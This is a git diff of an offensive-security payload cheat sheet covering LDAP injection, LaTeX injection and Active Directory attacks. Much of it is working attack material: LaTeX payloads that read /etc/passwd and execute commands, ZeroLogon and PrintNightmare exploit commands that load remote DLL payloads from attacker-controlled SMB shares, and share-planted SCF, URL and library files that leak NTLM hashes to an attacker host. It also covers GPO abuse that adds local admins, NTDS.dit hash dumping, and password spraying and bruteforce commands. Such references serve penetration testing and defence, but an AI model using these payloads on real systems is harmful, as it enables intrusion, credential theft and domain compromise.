-query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
+query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
```
Example 2
@@ -124,7 +135,7 @@ print(fields)
Ref. [5][5]
-### Special Blind LDAP Injection (without "*")
+### Special blind LDAP injection (without "*")
```python
#!/usr/bin/python3
@@ -168,26 +179,13 @@ end
By [noraj](https://github.com/noraj)
-## Google Dorks
-
-```
-intitle:"phpLDAPadmin" inurl:cmd.php
-```
-
-Ref. [5][5]
## References
-Injection:
-
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
-* \[5] [LDAP Injection - HackTricks][5]
-
-Normal use:
-
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* SSH key authentication via LDAP
@@ -196,6 +194,4 @@ Normal use:
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
- - [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
-
-[5]:https://book.hacktricks.xyz/pentesting-web/ldap-injection
+ - [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
\ No newline at end of file
diff --git a/LaTeX Injection/README.md b/LaTeX Injection/README.md
index 5cce2b7..6c9d9cb 100644
--- a/LaTeX Injection/README.md
+++ b/LaTeX Injection/README.md
@@ -2,14 +2,16 @@
## Read file
-```bash
+Read file and interpret the LaTeX code in it:
+
+```tex
\input{/etc/passwd}
-\include{password} # load .tex file
+\include{somefile} # load .tex file (somefile.tex)
```
-Read single lined file
+Read single lined file:
-```bash
+```tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
@@ -17,9 +19,9 @@ Read single lined file
\closein\file
```
-Read multiple lined file
+Read multiple lined file:
-```bash
+```tex
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
@@ -29,47 +31,52 @@ Read multiple lined file
\closein\file
```
-Read text file, keep the formatting
+Read text file, **without** interpreting the content, it will only paste raw file content:
-```bash
+```tex
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
## Write file
-```bash
+Write single lined file:
+
+```tex
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
+\write\outfile{Line 2}
+\write\outfile{I like trains}
\closeout\outfile
```
## Command execution
-The input of the command will be redirected to stdin, use a temp file to get it.
+The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
-```bash
-\immediate\write18{env > output}
+```tex
+\immediate\write18{id > output}
\input{output}
```
-If you get any LaTex error, consider using base64 to get the result without bad characters
+If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
-```bash
+```tex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
-```bash
-\input|ls|base4
+```tex
+\input|ls|base64
\input{|"/bin/hostname"}
```
## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
-```bash
+
+```tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
@@ -80,4 +87,4 @@ Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
-* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
\ No newline at end of file
+* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
index 80df322..840a480 100644
--- a/Methodology and Resources/Active Directory Attack.md
+++ b/Methodology and Resources/Active Directory Attack.md
@@ -11,9 +11,15 @@
- [Using AD Module](#using-ad-module)
- [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
- [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
- - [CVE-2020-1472 ZeroLogon](#cve-2020-1472-zerologon)
+ - [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
+ - [ZeroLogon](#zerologon)
+ - [PrintNightmare](#printnightmare)
- [Open Shares](#open-shares)
- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
+ - [SCF Files](#scf-files)
+ - [URL Files](#url-files)
+ - [Windows Library Files](#windows-library-files)
+ - [Windows Search Connectors Files](#windows-search-connectors-files)
- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
- [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
- [Find vulnerable GPO](#find-vulnerable-gpo)
@@ -21,6 +27,7 @@
- [Abuse GPO with PowerGPOAbuse](#abuse-gpo-with-powergpoabuse)
- [Abuse GPO with pyGPOAbuse](#abuse-gpo-with-pygpoabuse)
- [Abuse GPO with PowerView](#abuse-gpo-with-powerview)
+ - [Abuse GPO with StandIn](#abuse-gpo-with-standin)
- [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
- [Using ndtsutil](#using-ndtsutil)
- [Using Vshadow](#using-vshadow)
@@ -35,6 +42,7 @@
- [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
- [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
- [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
+ - [BadPwdCount attribute](#badpwdcount-attribute)
- [Password in AD User comment](#password-in-ad-user-comment)
- [Reading LAPS Password](#reading-laps-password)
- [Reading GMSA Password](#reading-gmsa-password)
@@ -45,17 +53,25 @@
- [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
- [Kerberoasting](#kerberoasting)
- [KRB_AS_REP Roasting](#krbasrep-roasting)
+ - [Shadow Credentials](#shadow-credentials)
- [Pass-the-Hash](#pass-the-hash)
- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
- [Using impacket](#using-impacket)
- [Using Rubeus](#using-rubeus)
- - [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
+ - [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
+ - [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
- [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
- [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
- [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
- [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
- [Drop the MIC](#drop-the-mic)
- [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
+ - [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
+ - [Relay delegation with mitm6](#relay-delegation-with-mitm6)
+ - [Active Directory Certificate Services](#active-directory-certificate-services)
+ - [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
+ - [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
+ - [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
- [GenericAll](#genericall)
@@ -74,17 +90,20 @@
- [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
- [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
- [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
+ - [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation)
+ - [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation)
- [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
- [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
- - [Relay delegation with mitm6](#relay-delegation-with-mitm6)
- [PrivExchange attack](#privexchange-attack)
- [PXE Boot image attack](#pxe-boot-image-attack)
- [DSRM Credentials](#dsrm-credentials)
+ - [DNS Reconnaissance](#dns-reconnaissance)
- [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect)
- [Linux Active Directory](#linux-active-directory)
- [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
- [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
+ - [CCACHE ticket reuse from SSSD KCM](#ccache-ticket-reuse-from-sssd-kcm)
- [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
- [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
- [References](#references)
@@ -242,7 +261,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
- **Enum Other Domains:** `Get-NetDomain -Domain `
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:**
- ```
+ ```powershell
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos
@@ -250,12 +269,12 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
(Get-DomainPolicy)."kerberos policy"
```
- **Get Domain Controlers:**
- ```
+ ```powershell
Get-NetDomainController
Get-NetDomainController -Domain
```
- **Enumerate Domain Users:**
- ```
+ ```powershell
Get-NetUser
Get-NetUser -SamAccountName
Get-NetUser | select cn
@@ -277,7 +296,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
```
- **Enum Domain Computers:**
- ```
+ ```powershell
Get-NetComputer -FullData
Get-DomainGroup
@@ -285,7 +304,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Get-NetComputer -Ping
```
- **Enum Groups and Group Members:**
- ```
+ ```powershell
Get-NetGroupMember -GroupName "" -Domain
#Enumerate the members of a specified group of the domain
@@ -295,7 +314,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
```
- **Enumerate Shares**
- ```
+ ```powershell
#Enumerate Domain Shares
Find-DomainShare
@@ -303,7 +322,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Find-DomainShare -CheckShareAccess
```
- **Enum Group Policies:**
- ```
+ ```powershell
Get-NetGPO
# Shows active Policy on specified machine
@@ -314,12 +333,12 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Find-GPOComputerAdmin -ComputerName
```
- **Enum OUs:**
- ```
+ ```powershell
Get-NetOU -FullData
Get-NetGPO -GPOname
```
- **Enum ACLs:**
- ```
+ ```powershell
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
@@ -331,12 +350,12 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Get-PathAcl -Path "\\Path\Of\A\Share"
```
- **Enum Domain Trust:**
- ```
+ ```powershell
Get-NetDomainTrust
Get-NetDomainTrust -Domain
```
- **Enum Forest Trust:**
- ```
+ ```powershell
Get-NetForestDomain
Get-NetForestDomain Forest
@@ -349,7 +368,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
Get-NetDomainTrust -Forest
```
- **User Hunting:**
- ```
+ ```powershell
#Finds all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
@@ -376,29 +395,31 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
- **Enum Other Domains:** `Get-ADDomain -Identity `
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:**
- ```
+
+ ```powershell
Get-ADDomainController
Get-ADDomainController -Identity
```
+
- **Enumerate Domain Users:**
- ```
+ ```powershell
Get-ADUser -Filter * -Identity -Properties *
#Get a spesific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
```
- **Enum Domain Computers:**
- ```
+ ```powershell
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```
- **Enum Domain Trust:**
- ```
+ ```powershell
Get-ADTrust -Filter *
Get-ADTrust -Identity
```
- **Enum Forest Trust:**
- ```
+ ```powershell
Get-ADForest
Get-ADForest -Identity
@@ -406,7 +427,7 @@ You can add some custom queries like [Bloodhound-Custom-Queries](https://github.
(Get-ADForest).Domains
```
- **Enum Local AppLocker Effective Policy:**
- ```
+ ```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
@@ -493,7 +514,14 @@ Windows> net time /domain /set
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
-### CVE-2020-1472 ZeroLogon
+### From CVE to SYSTEM shell on DC
+
+> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
+
+
+#### ZeroLogon
+
+> CVE-2020-1472
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
@@ -506,15 +534,18 @@ Exploit steps from the white paper
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
-* `cve-2020-1472-exploit.py` - Python script from dirkjanm
+* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
```powershell
+ # Check (https://github.com/SecuraBV/CVE-2020-1472)
+ proxychains python3 zerologon_tester.py DC01 172.16.1.5
+
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
-
+
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
@@ -565,8 +596,84 @@ Exploit steps from the white paper
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```
+#### PrintNightmare
+
+> CVE-2021-1675 / CVE-2021-34527
+
+The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
+The exploit will execute the DLL either from the local filesystem or a remote share.
+
+Requirements:
+* **Spooler Service** enabled (Mandatory)
+* Server with patches < June 2021
+* DC with `Pre Windows 2000 Compatibility` group
+* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
+* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
+
+
+**Detect the vulnerability**:
+* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
+ ```ps1
+ python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
+ Protocol: [MS-RPRN]: Print System Remote Protocol
+ ```
+* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream)
+ ```ps1
+ git clone https://github.com/byt3bl33d3r/ItWasAllADream
+ cd ItWasAllADream && poetry install && poetry shell
+ itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
+ docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
+ ```
+
+**Trigger the exploit**:
+
+**NOTE**: The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109): `python3 ./smbserver.py share /tmp/smb/` or using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) : `Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable`
+
+* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
+ ```powershell
+ # require a modified Impacket: https://github.com/cube0x0/impacket
+ python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
+ python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
+ ## LPE
+ SharpPrintNightmare.exe C:\addCube.dll
+ ## RCE using existing context
+ SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+ ## RCE using runas /netonly
+ SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
+ ```
+* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
+ ```powershell
+ ## LPE only (PS1 + DLL)
+ Import-Module .\cve-2021-1675.ps1
+ Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
+ Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
+ Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
+ ```
+* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
+ ```powershell
+ ## LPE
+ misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
+ ## RCE
+ misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
+ ```
+* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
+ ```powershell
+ PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
+ ```
+
+**Debug informations**
+
+| Error | Message | Debug |
+|--------|---------------------|------------------------------------------|
+| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
+| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
+| 0x180 | unknown error code | Share is not SMB2 |
+
+
### Open Shares
+> Some shares can be accessible without authentication, explore them to find some juicy files
+
* [smbmap](https://github.com/ShawnDEvans/smbmap)
```powershell
smbmap -H 10.10.10.10 # null session
@@ -617,6 +724,22 @@ Exploit steps from the white paper
### SCF and URL file attack against writeable share
+Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
+
+```ps1
+# Farmer to receive auth
+farmer.exe [seconds] [output]
+farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
+farmer.exe 8888 60 # one minute
+
+# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
+crop.exe [options]
+Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
+Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
+```
+
+#### SCF Files
+
Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
```powershell
@@ -627,6 +750,8 @@ IconFile=\\10.10.10.10\Share\test.ico
Command=ToggleDesktop
```
+#### URL Files
+
This attack also works with `.url` files and `responder -I eth0 -v`.
```powershell
@@ -637,6 +762,53 @@ IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```
+#### Windows Library Files
+
+> Windows Library Files (.library-ms)
+
+```xml
+
+
+ @windows.storage.dll,-34582
+ 6
+ true
+ imageres.dll,-1003
+
+ {7d49d726-3c21-4f05-99aa-fdc2c9474656}
+
+
+
+ true
+ false
+
+ \\\\workstation@8888\\folder
+
+
+
+
+```
+
+#### Windows Search Connectors Files
+
+> Windows Search Connectors (.searchConnector-ms)
+
+```xml
+
+
+ imageres.dll,-1002
+ Microsoft Outlook
+ false
+ true
+ \\\\workstation@8888\\folder.ico
+
+ {91475FE5-586B-4EBA-8D75-D17434B8CDF6}
+
+
+ \\\\workstation@8888\\folder
+
+
+```
+
### Passwords in SYSVOL & Group Policy Preferences
@@ -672,7 +844,7 @@ echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aS
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
```
-* [Get-GPPPassword](https://github.com/ShutdownRepo/Get-GPPPassword)
+* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
```powershell
# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
@@ -686,7 +858,7 @@ echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aS
#### Mitigations
-* Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
+* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.
@@ -752,8 +924,6 @@ PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator
```
-
-
#### Abuse GPO with pyGPOAbuse
```powershell
@@ -781,12 +951,24 @@ Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```
+#### Abuse GPO with StandIn
+
+```powershell
+# Add a local administrator
+StandIn.exe --gpo --filter Shards --localadmin user002
+
+# Set custom right to a user
+StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
+
+# Execute a custom command
+StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
+```
### Dumping AD Domain Credentials
You will need the following files to extract the ntds :
- NTDS.dit file
-- SYSTEM hive (C:\Windows\System32\SYSTEM)
+- SYSTEM hive (`C:\Windows\System32\SYSTEM`)
Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
@@ -867,13 +1049,13 @@ esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
#### Extract hashes from ntds.dit
-then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit
+then you need to use [secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit
```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```
-secretsdump also works remotely
+[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely
```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
@@ -961,75 +1143,93 @@ Password spraying refers to the attack method that takes a large number of usern
Most of the time the best passwords to spray are :
-- P@ssw0rd01, Password123, mimikatz
-- Welcome1/Welcome01
-- $Companyname1 : $Microsoft1
-- SeasonYear : Winter2019*,Spring2020!,Summer2018?
+- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
+- `Welcome1`/`Welcome01`
+- $Companyname1 :` $Microsoft1`
+- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
+
#### Kerberos pre-auth bruteforcing
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
-```powershell
-# Username bruteforce
-root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
-
-# Password brute
-root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
-
-# Password spray
-root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
-root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
-root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
-```
+* Username bruteforce
+ ```powershell
+ root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
+ ```
+* Password bruteforce
+ ```powershell
+ root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
+ ```
+* Password spray
+ ```powershell
+ root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
+ root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
+ root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
+ ```
#### Spray a pre-generated passwords list
-Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
-
-```powershell
-crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
-```
-
-Using `DomainPasswordSpray` to spray a password against all users of a domain.
-
-```powershell
-# https://github.com/dafthack/DomainPasswordSpray
-Invoke-DomainPasswordSpray -Password Summer2021!
-
-# /!\ be careful with the account lockout !
-Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
-
-```
+* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
+ ```powershell
+ crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
+ ```
+* Using `DomainPasswordSpray` to spray a password against all users of a domain.
+ ```powershell
+ # https://github.com/dafthack/DomainPasswordSpray
+ Invoke-DomainPasswordSpray -Password Summer2021!
+ # /!\ be careful with the account lockout !
+ Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
+ ```
+* Using `SMBAutoBrute`.
+ ```powershell
+ Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
+ ```
#### Spray passwords against the RDP service
-Using RDPassSpray to target RDP services.
+* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
+ ```powershell
+ git clone https://github.com/xFreed0m/RDPassSpray
+ python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
+ ```
+* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
+ ```powershell
+ hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
+ ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
+ ```
+
+#### BadPwdCount attribute
+
+> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
```powershell
-git clone https://github.com/xFreed0m/RDPassSpray
-python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
+$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
+LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet:
+LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet:
```
-Using hydra and ncrack to target RDP services.
-
-```powershell
-hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
